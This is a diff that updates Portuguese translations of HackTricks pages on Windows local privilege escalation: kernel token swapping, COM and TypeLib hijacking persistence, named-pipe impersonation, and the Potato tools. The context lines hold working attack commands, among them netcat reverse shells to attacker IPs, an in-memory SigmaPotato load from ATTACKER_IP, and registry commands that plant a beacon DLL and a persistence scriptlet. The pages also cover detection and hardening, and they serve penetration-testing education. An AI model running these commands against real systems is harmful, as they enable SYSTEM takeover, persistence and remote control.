-5) Option A (common): Preserve os 3 bits menos significativos do seu token atual e combine-os com o ponteiro do SYSTEM para manter o contador de referência embutido consistente.
+5) Opção A (mais comum): Preserve os 3 bits menos significativos do seu token atual e os combine com o ponteiro do SYSTEM para manter a contagem de referência embutida consistente.
 - Token_ME = *(EPROCESS_SELF + TokenOffset)
 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
-6) Escreva Token_NEW de volta em (EPROCESS_SELF + TokenOffset) usando sua primitiva de escrita no kernel.
-7) Seu processo atual agora é SYSTEM. Opcionalmente, inicie um novo cmd.exe ou powershell.exe para confirmar.
+6) Escreva Token_NEW de volta em (EPROCESS_SELF + TokenOffset) usando seu primitivo de escrita no kernel.
+7) Seu processo atual agora é SYSTEM. Opcionalmente, spawn um novo cmd.exe ou powershell.exe para confirmar.
 
 ## Pseudocódigo
 
@@ -106,14 +106,14 @@ return 0;
 }
 ```
 Notas:
-- Offsets: Use WinDbg’s `dt nt!_EPROCESS` com os PDBs do alvo, ou um carregador de símbolos em tempo de execução, para obter offsets corretos. Não hardcodear cegamente.
-- Mask: Em x64 o token é um EX_FAST_REF; os 3 bits menos significativos são bits de contagem de referência. Manter os bits baixos originais do seu token evita inconsistências imediatas no refcount.
-- Stability: Prefira elevar o processo atual; se você elevar um helper de curta duração pode perder SYSTEM quando ele encerrar.
+- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Não use valores codificados de forma cega.
+- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Manter os bits inferiores originais do seu token evita inconsistências imediatas na contagem de referências.
+- Stability: Prefira elevar o processo atual; se você elevar um helper de curta duração pode perder SYSTEM quando ele terminar.
 
 ## Detecção e mitigação
-- Carregar drivers de terceiros não assinados ou não confiáveis que expõem IOCTLs poderosos é a causa raiz.
+- Carregar drivers de terceiros não assinados ou não confiáveis que exponham IOCTLs poderosos é a causa raiz.
 - Kernel Driver Blocklist (HVCI/CI), DeviceGuard e as regras de Attack Surface Reduction podem impedir que drivers vulneráveis sejam carregados.
-- EDR pode monitorar sequências suspeitas de IOCTL que implementem leitura/gravação arbitrária e trocas de token.
+- EDR pode monitorar sequências de IOCTL suspeitas que implementem arbitrary read/write e token swaps.
 
 ## Referências
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -4,21 +4,21 @@
 
 ### Procurando componentes COM inexistentes
 
-Como os valores de HKCU podem ser modificados pelos usuários, **COM Hijacking** pode ser usado como um **mecanismo persistente**. Usando `procmon` é fácil encontrar entradas de registro COM procuradas que não existem e que um atacante poderia criar para persistir. Filtros:
+Como os valores de HKCU podem ser modificados pelos usuários, **COM Hijacking** pode ser usado como um **mecanismo persistente**. Usando `procmon` é fácil encontrar chaves de registro COM pesquisadas que não existem e que um atacante poderia criar para persistir. Filtros:
 
-- **RegOpenKey** operations.
+- **RegOpenKey** operações.
 - onde o _Result_ é **NAME NOT FOUND**.
 - e o _Path_ termina com **InprocServer32**.
 
-Uma vez que você tenha decidido qual COM inexistente irá se passar, execute os seguintes comandos. _Tenha cuidado se decidir se passar por um COM que é carregado a cada poucos segundos, pois isso pode ser excessivo._
+Uma vez decidido por qual COM inexistente se passar, execute os seguintes comandos. _Tenha cuidado se decidir se passar por um COM que é carregado a cada poucos segundos, pois isso pode ser excessivo._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
 ```
-### Componentes COM do Agendador de Tarefas que podem ser sequestrados
+### Componentes COM do Task Scheduler sequestráveis
 
-As Tarefas do Windows usam Custom Triggers para chamar objetos COM e, como são executadas pelo Agendador de Tarefas, é mais fácil prever quando serão acionadas.
+Windows Tasks usam Custom Triggers para chamar COM objects e, como são executadas através do Task Scheduler, é mais fácil prever quando serão acionadas.
 
 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]</code></pre>
 
-Verificando a saída, você pode selecionar uma que será executada **toda vez que um usuário fizer login**, por exemplo.
+Analisando a saída, você pode selecionar uma que será executada, por exemplo, **toda vez que um usuário fizer login**.
 
-Agora, ao procurar o CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** em **HKEY\CLASSES\ROOT\CLSID** e em HKLM e HKCU, normalmente você descobrirá que o valor não existe em HKCU.
+Agora, ao procurar o CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** em **HKEY\CLASSES\ROOT\CLSID** e em HKLM e HKCU, normalmente você vai encontrar que o valor não existe em HKCU.
 ```bash
 # Exists in HKCR\CLSID\
 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@@ -72,32 +72,32 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Então, você pode apenas criar a entrada HKCU e, toda vez que o usuário fizer login, seu backdoor será executado.
+Então, você pode simplesmente criar a entrada HKCU e toda vez que o usuário fizer login, seu backdoor será executado.
 
 ---
 
 ## COM TypeLib Hijacking (script: moniker persistence)
 
-Type Libraries (TypeLib) definem interfaces COM e são carregadas via `LoadTypeLib()`. Quando um COM server é instanciado, o OS também pode carregar o TypeLib associado consultando chaves de registro em `HKCR\TypeLib\{LIBID}`. Se o caminho do TypeLib for substituído por um **moniker**, por exemplo `script:C:\...\evil.sct`, o Windows executará o scriptlet quando o TypeLib for resolvido – resultando em uma persistência furtiva que é acionada quando componentes comuns são acessados.
+Type Libraries (TypeLib) definem interfaces COM e são carregadas via `LoadTypeLib()`. Quando um servidor COM é instanciado, o OS também pode carregar o TypeLib associado consultando chaves de registro sob `HKCR\TypeLib\{LIBID}`. Se o caminho do TypeLib for substituído por um **moniker**, por exemplo `script:C:\...\evil.sct`, o Windows executará o scriptlet quando o TypeLib for resolvido — resultando em uma persistência furtiva que dispara quando componentes comuns são acessados.
 
-Isso foi observado contra o Microsoft Web Browser control (frequentemente carregado pelo Internet Explorer, por apps que incorporam WebBrowser, e até mesmo pelo `explorer.exe`).
+Isso foi observado contra o Microsoft Web Browser control (frequentemente carregado pelo Internet Explorer, apps que incorporam o WebBrowser, e até mesmo `explorer.exe`).
 
-### Steps (PowerShell)
+### Passos (PowerShell)
 
-1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
+1) Identifique o TypeLib (LIBID) usado por um CLSID de alta frequência. Exemplo de CLSID frequentemente abusado por cadeias de malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 ```powershell
 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 "CLSID=$clsid  LIBID=$libid  VER=$ver"
 ```
-2) Aponte o caminho TypeLib por usuário para um scriptlet local usando o moniker `script:` (não requer direitos de administrador):
+2) Aponte o per-user TypeLib path para um scriptlet local usando o moniker `script:` (no admin rights required):
 ```powershell
 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 ```
-3) Drop um JScript `.sct` mínimo que reexecute o seu payload principal (por exemplo, um `.lnk` usado pela cadeia inicial):
+3) Coloque um `.sct` JScript mínimo que reexecute seu payload principal (por exemplo, um `.lnk` usado pela cadeia inicial):
 ```xml
 <?xml version="1.0"?>
 <scriptlet>
@@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
 </script>
 </scriptlet>
 ```
-4) Acionamento – abrir o IE, um aplicativo que incorpora o WebBrowser control, ou mesmo atividades rotineiras do Explorer carregarão o TypeLib e executarão o scriptlet, rearmando sua chain no logon/reboot.
+4) Acionamento – abrir o IE, um aplicativo que incorpore o WebBrowser control, ou mesmo atividade rotineira do Explorer carregará o TypeLib e executará o scriptlet, rearmando sua cadeia no logon/reboot.
 
 Limpeza
 ```powershell
@@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 ```
 Notas
-- Você pode aplicar a mesma lógica a outros componentes COM de alta frequência; sempre resolva o `LIBID` real em `HKCR\CLSID\{CLSID}\TypeLib` primeiro.
-- Em sistemas 64-bit você também pode popular a subchave `win64` para consumidores 64-bit.
+- Você pode aplicar a mesma lógica a outros componentes COM de alta frequência; sempre resolva o real `LIBID` a partir de `HKCR\CLSID\{CLSID}\TypeLib` primeiro.
+- Em sistemas 64-bit, você também pode preencher a subchave `win64` para consumidores 64-bit.
 
 ## Referências
 

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

@@ -2,27 +2,27 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Named Pipe client impersonation é uma primitiva de escalada de privilégios local que permite que uma thread de servidor de named-pipe adote o contexto de segurança de um cliente que se conecta a ela. Na prática, um atacante que consiga executar código com SeImpersonatePrivilege pode forçar um cliente privilegiado (por exemplo, um serviço SYSTEM) a conectar-se a um pipe controlado pelo atacante, chamar ImpersonateNamedPipeClient, duplicar o token resultante em um token primário e criar um processo como o cliente (frequentemente NT AUTHORITY\SYSTEM).
+Named Pipe client impersonation é um primitivo de elevação de privilégio local que permite que uma thread de server de named-pipe adote o contexto de segurança de um cliente que se conecta a ela. Na prática, um atacante que consegue executar código com SeImpersonatePrivilege pode forçar um cliente privilegiado (por exemplo, um serviço SYSTEM) a conectar-se a um pipe controlado pelo atacante, chamar ImpersonateNamedPipeClient, duplicar o token resultante em um token primário e spawnar um processo como o cliente (frequentemente NT AUTHORITY\SYSTEM).
 
-Esta página foca na técnica principal. Para cadeias de exploit ponta a ponta que forçam o SYSTEM a conectar-se ao seu pipe, veja as páginas da Potato family referenciadas abaixo.
+Esta página foca na técnica central. Para cadeias de exploit ponta a ponta que forçam SYSTEM a conectar-se ao seu pipe, veja as páginas da família Potato referenciadas abaixo.
 
 ## TL;DR
 - Crie um named pipe: \\.\pipe\<random> e aguarde uma conexão.
 - Faça um componente privilegiado conectar-se a ele (spooler/DCOM/EFSRPC/etc.).
-- Leia pelo menos uma mensagem do pipe e, em seguida, chame ImpersonateNamedPipeClient.
-- Abra o token de impersonação da thread atual, DuplicateTokenEx(TokenPrimary) e CreateProcessWithTokenW/CreateProcessAsUser para obter um processo SYSTEM.
+- Leia ao menos uma mensagem do pipe, então chame ImpersonateNamedPipeClient.
+- Abra o token de impersonation da thread atual, DuplicateTokenEx(TokenPrimary) e use CreateProcessWithTokenW/CreateProcessAsUser para obter um processo SYSTEM.
 
 ## Requisitos e APIs principais
-- Privilégios tipicamente necessários pelo processo/thread que realiza a chamada:
-- SeImpersonatePrivilege para impersonar com sucesso um cliente que se conecta e para usar CreateProcessWithTokenW.
-- Alternativamente, após impersonar o SYSTEM, você pode usar CreateProcessAsUser, o que pode requerer SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (estes são satisfeitos quando você está impersonando o SYSTEM).
-- APIs principais usadas:
+- Privilégios tipicamente necessários pelo processo/thread que chama:
+- SeImpersonatePrivilege para conseguir impersonar com sucesso um cliente que conecta e para usar CreateProcessWithTokenW.
+- Alternativamente, após impersonar SYSTEM, você pode usar CreateProcessAsUser, que pode requerer SeAssignPrimaryTokenPrivilege e SeIncreaseQuotaPrivilege (estes são satisfeitos quando você está impersonando SYSTEM).
+- APIs centrais usadas:
 - CreateNamedPipe / ConnectNamedPipe
-- ReadFile/WriteFile (é necessário ler pelo menos uma mensagem antes da impersonação)
-- ImpersonateNamedPipeClient and RevertToSelf
+- ReadFile/WriteFile (é preciso ler ao menos uma mensagem antes da impersonation)
+- ImpersonateNamedPipeClient e RevertToSelf
 - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
-- CreateProcessWithTokenW or CreateProcessAsUser
-- Nível de impersonação: para executar ações úteis localmente, o cliente deve permitir SecurityImpersonation (padrão para muitos clientes RPC/named-pipe locais). Clientes podem reduzir isso com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ao abrir o pipe.
+- CreateProcessWithTokenW ou CreateProcessAsUser
+- Nível de impersonation: para executar ações úteis localmente, o cliente deve permitir SecurityImpersonation (padrão para muitos clientes RPC/named-pipe locais). Clientes podem reduzir isso com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ao abrir o pipe.
 
 ## Fluxo Win32 mínimo (C)
 ```c
@@ -68,12 +68,11 @@ RevertToSelf(); // Restore original context
 return 0;
 }
 ```
-Notas:
-- Se ImpersonateNamedPipeClient retornar ERROR_CANNOT_IMPERSONATE (1368), certifique-se de ler do pipe primeiro e de que o cliente não tenha restringido a impersonação ao nível Identification.
-- Prefira DuplicateTokenEx com SecurityImpersonation e TokenPrimary para criar um token primário adequado para criação de processo.
+- Se ImpersonateNamedPipeClient retornar ERROR_CANNOT_IMPERSONATE (1368), verifique se você leu do pipe primeiro e se o cliente não restringiu a impersonação ao nível Identification.
+- Prefira DuplicateTokenEx com SecurityImpersonation e TokenPrimary para criar um token primário adequado para criação de processos.
 
-## .NET exemplo rápido
-Em .NET, NamedPipeServerStream pode impersonar via RunAsClient. Uma vez que estiver impersonando, duplique o token da thread e crie um processo.
+## Exemplo rápido em .NET
+No .NET, NamedPipeServerStream pode impersonar via RunAsClient. Uma vez impersonando, duplique o token da thread e crie um processo.
 ```csharp
 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
 class P {
@@ -93,8 +92,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
 }
 }
 ```
-## Gatilhos/coerções comuns para trazer SYSTEM ao seu named pipe
-Essas técnicas forçam serviços privilegiados a se conectar ao seu named pipe para que você possa impersoná-los:
+## Gatilhos/coerções comuns para fazer com que o SYSTEM se conecte à sua named pipe
+Essas técnicas forçam serviços privilegiados a se conectar à sua named pipe para que você possa impersonate eles:
 - Print Spooler RPC trigger (PrintSpoofer)
 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
@@ -110,27 +109,27 @@ roguepotato-and-printspoofer.md
 juicypotato.md
 {{#endref}}
 
-Se você só precisa de um exemplo completo de como criar o pipe e impersonar para iniciar um processo como SYSTEM a partir de um gatilho de serviço, veja:
+Se você só precisa de um exemplo completo de como criar a pipe e impersonate para spawn SYSTEM a partir de um gatilho de serviço, veja:
 
 -
 {{#ref}}
 from-high-integrity-to-system-with-name-pipes.md
 {{#endref}}
 
-## Solução de problemas e armadilhas
-- Você deve ler pelo menos uma mensagem do pipe antes de chamar ImpersonateNamedPipeClient; caso contrário, receberá ERROR_CANNOT_IMPERSONATE (1368).
-- Se o cliente conectar-se com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, o servidor não pode impersonar totalmente; verifique o nível de impersonação do token via GetTokenInformation(TokenImpersonationLevel).
-- CreateProcessWithTokenW requer SeImpersonatePrivilege no chamador. Se isso falhar com ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser depois que você já tiver impersonado SYSTEM.
-- Garanta que o security descriptor do seu pipe permita que o serviço alvo conecte-se caso você o tenha endurecido; por padrão, pipes sob \\.\pipe são acessíveis de acordo com o DACL do servidor.
+## Solução de problemas e cuidados
+- Você deve ler ao menos uma mensagem da pipe antes de chamar ImpersonateNamedPipeClient; caso contrário receberá ERROR_CANNOT_IMPERSONATE (1368).
+- Se o cliente conectar com SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, o servidor não pode realizar impersonation completo; verifique o nível de impersonation do token via GetTokenInformation(TokenImpersonationLevel).
+- CreateProcessWithTokenW requer SeImpersonatePrivilege no chamador. Se isso falhar com ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser depois de já ter impersonated SYSTEM.
+- Assegure que o security descriptor da sua pipe permita que o serviço alvo se conecte caso você o endureça; por padrão, pipes sob \\.\pipe são acessíveis de acordo com a DACL do servidor.
 
 ## Detecção e hardening
-- Monitore a criação e conexões de named pipes. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) são úteis para estabelecer uma linha de base de nomes de pipe legítimos e detectar pipes incomuns, com aparência aleatória, que precedem eventos de manipulação de token.
-- Procure por sequências: processo cria um pipe, um serviço SYSTEM conecta-se, então o processo que criou gera um processo filho como SYSTEM.
+- Monitore criação e conexões de named pipes. Sysmon Event IDs 17 (Pipe Created) e 18 (Pipe Connected) são úteis para criar uma baseline de nomes de pipe legítimos e detectar pipes incomuns, com aparência aleatória, que precedem eventos de manipulação de token.
+- Procure por sequências: processo cria uma pipe, um serviço SYSTEM se conecta, então o processo criador gera um processo filho como SYSTEM.
 - Reduza a exposição removendo SeImpersonatePrivilege de contas de serviço não essenciais e evitando logons de serviço desnecessários com privilégios elevados.
-- Desenvolvimento defensivo: ao conectar-se a named pipes não confiáveis, especifique SECURITY_SQOS_PRESENT com SECURITY_IDENTIFICATION para evitar que servidores impersonem completamente o cliente, salvo quando necessário.
+- Desenvolvimento defensivo: ao conectar a named pipes não confiáveis, especifique SECURITY_SQOS_PRESENT com SECURITY_IDENTIFICATION para impedir que servidores impersonateiem totalmente o cliente, a menos que necessário.
 
 ## Referências
-- Windows: ImpersonateNamedPipeClient documentation (requisitos e comportamento de impersonação). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
-- ired.team: Windows named pipes privilege escalation (guia passo a passo e exemplos de código). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
+- Windows: ImpersonateNamedPipeClient documentation (requisitos e comportamento de impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
+- ired.team: Windows named pipes privilege escalation (passo a passo e exemplos de código). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> **JuicyPotato não funciona** no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** podem ser usados para aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`. Este [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) aprofunda no `PrintSpoofer`, que pode ser usado para abusar de impersonation privileges em hosts Windows 10 e Server 2019 onde o JuicyPotato não funciona mais.
+> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
 
 > [!TIP]
-> Uma alternativa moderna frequentemente mantida em 2024–2025 é SigmaPotato (um fork do GodPotato) que adiciona uso em-memory/.NET reflection e suporte estendido ao SO. Veja uso rápido abaixo e o repo em Referências.
+> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
 
 Related pages for background and manual techniques:
 
@@ -24,10 +24,10 @@ privilege-escalation-abusing-tokens.md
 
 ## Requisitos e armadilhas comuns
 
-Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que possua um destes privilégios:
+Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que detenha qualquer um destes privilégios:
 
 - SeImpersonatePrivilege (o mais comum) ou SeAssignPrimaryTokenPrivilege
-- Integridade elevada não é necessária se o token já possuir SeImpersonatePrivilege (típico para muitas contas de serviço como IIS AppPool, MSSQL, etc.)
+- Integridade elevada não é necessária se o token já tiver SeImpersonatePrivilege (típico para muitas contas de serviço como IIS AppPool, MSSQL, etc.)
 
 Verifique privilégios rapidamente:
 ```cmd
@@ -35,10 +35,10 @@ whoami /priv | findstr /i impersonate
 ```
 Notas operacionais:
 
-- PrintSpoofer precisa do serviço Print Spooler em execução e acessível através do endpoint RPC local (spoolss). Em ambientes com hardening onde o Spooler está desabilitado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato.
-- RoguePotato requer um OXID resolver acessível via TCP/135. Se o egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Versões mais antigas exigiam a flag -f.
+- PrintSpoofer requer o serviço Print Spooler em execução e acessível pelo endpoint RPC local (spoolss). Em ambientes endurecidos onde o Spooler foi desativado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- RoguePotato requer um OXID resolver acessível via TCP/135. Se o egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Builds mais antigas precisavam da flag -f.
 - EfsPotato/SharpEfsPotato abusam de MS-EFSR; se um pipe estiver bloqueado, tente pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon).
-- O erro 0x6d3 durante RpcBindingSetAuthInfo normalmente indica um serviço de autenticação RPC desconhecido/não suportado; tente um pipe/transporte diferente ou verifique se o serviço alvo está em execução.
+- O erro 0x6d3 durante RpcBindingSetAuthInfo geralmente indica um serviço de autenticação RPC desconhecido/não suportado; tente outro pipe/transporte ou verifique se o serviço alvo está em execução.
 
 ## Demonstração Rápida
 
@@ -58,7 +58,7 @@ NULL
 
 ```
 Notas:
-- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um one-liner.
+- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um comando de uma linha.
 - Requer o serviço Spooler. Se estiver desativado, isso falhará.
 
 ### RoguePotato
@@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-Se o tráfego de saída pela porta 135 estiver bloqueado, pivot o OXID resolver via socat no seu redirector:
+Se a porta 135 de saída estiver bloqueada, pivot o OXID resolver via socat no seu redirector:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
-Dica: Se um pipe falhar ou o EDR bloqueá-lo, tente os outros pipes suportados:
+Dica: Se um pipe falhar ou o EDR o bloquear, tente os outros pipes suportados:
 ```text
 EfsPotato <cmd> [pipe]
 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
 # You can achieve a reverse shell like this.
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
-Notas:
-- Funciona em Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente.
+Notes:
+- Funciona no Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente.
 
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-DCOMPotato fornece duas variantes que têm como alvo objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binários fornecidos e execute seu comando:
+DCOMPotato fornece duas variantes que miram objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binaries fornecidos e execute seu comando:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
 # McpManagementService variant (Server 2022 also)
 McpManagementPotato.exe "cmd /c whoami"
 ```
-### SigmaPotato (fork atualizado do GodPotato)
+### SigmaPotato (fork do GodPotato atualizado)
 
-SigmaPotato adiciona melhorias modernas, como execução em memória via .NET reflection e um auxiliar de PowerShell para reverse shell.
+SigmaPotato adiciona melhorias modernas, como execução em memória via .NET reflection e um PowerShell reverse shell helper.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@@ -150,11 +150,11 @@ SigmaPotato adiciona melhorias modernas, como execução em memória via .NET re
 ```
 ## Notas de detecção e endurecimento
 
-- Monitore processos que criam named pipes e imediatamente chamam APIs de duplicação de token seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode expor telemetria útil: Event ID 1 (process creation), 17/18 (named pipe created/connected), e linhas de comando que geram processos filhos como SYSTEM.
-- Endurecimento do Spooler: Desativar o serviço Print Spooler em servidores onde não é necessário previne coerções locais ao estilo PrintSpoofer via spoolss.
-- Endurecimento de contas de serviço: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os menores privilégios necessários e isolá-los com service SID e tokens com permissão de escrita restrita quando possível.
-- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar o RoguePotato, a menos que um redirector interno esteja disponível.
-- EDR/AV: Todas essas ferramentas são amplamente detectadas por assinaturas. Recompilar a partir do código-fonte, renomear símbolos/strings ou usar in-memory execution pode reduzir a detecção, mas não derrotará detecções comportamentais robustas.
+- Monitore processos que criam named pipes e imediatamente chamam token-duplication APIs seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode revelar telemetria útil: Event ID 1 (criação de processo), 17/18 (named pipe criado/conectado) e linhas de comando que geram processos filhos como SYSTEM.
+- Endurecimento do Spooler: Desabilitar o serviço Print Spooler em servidores onde não é necessário impede coerções locais do tipo PrintSpoofer via spoolss.
+- Endurecimento de contas de serviço: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os privilégios mínimos necessários e isolá-los com service SID e write-restricted tokens quando possível.
+- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar o RoguePotato, a menos que um redirecionador interno esteja disponível.
+- EDR/AV: Todas essas ferramentas são amplamente signatured. Recompilar a partir do source, renomear símbolos/strings ou usar execução em memória pode reduzir a detecção, mas não derrotará detecções comportamentais sólidas.
 
 ## Referências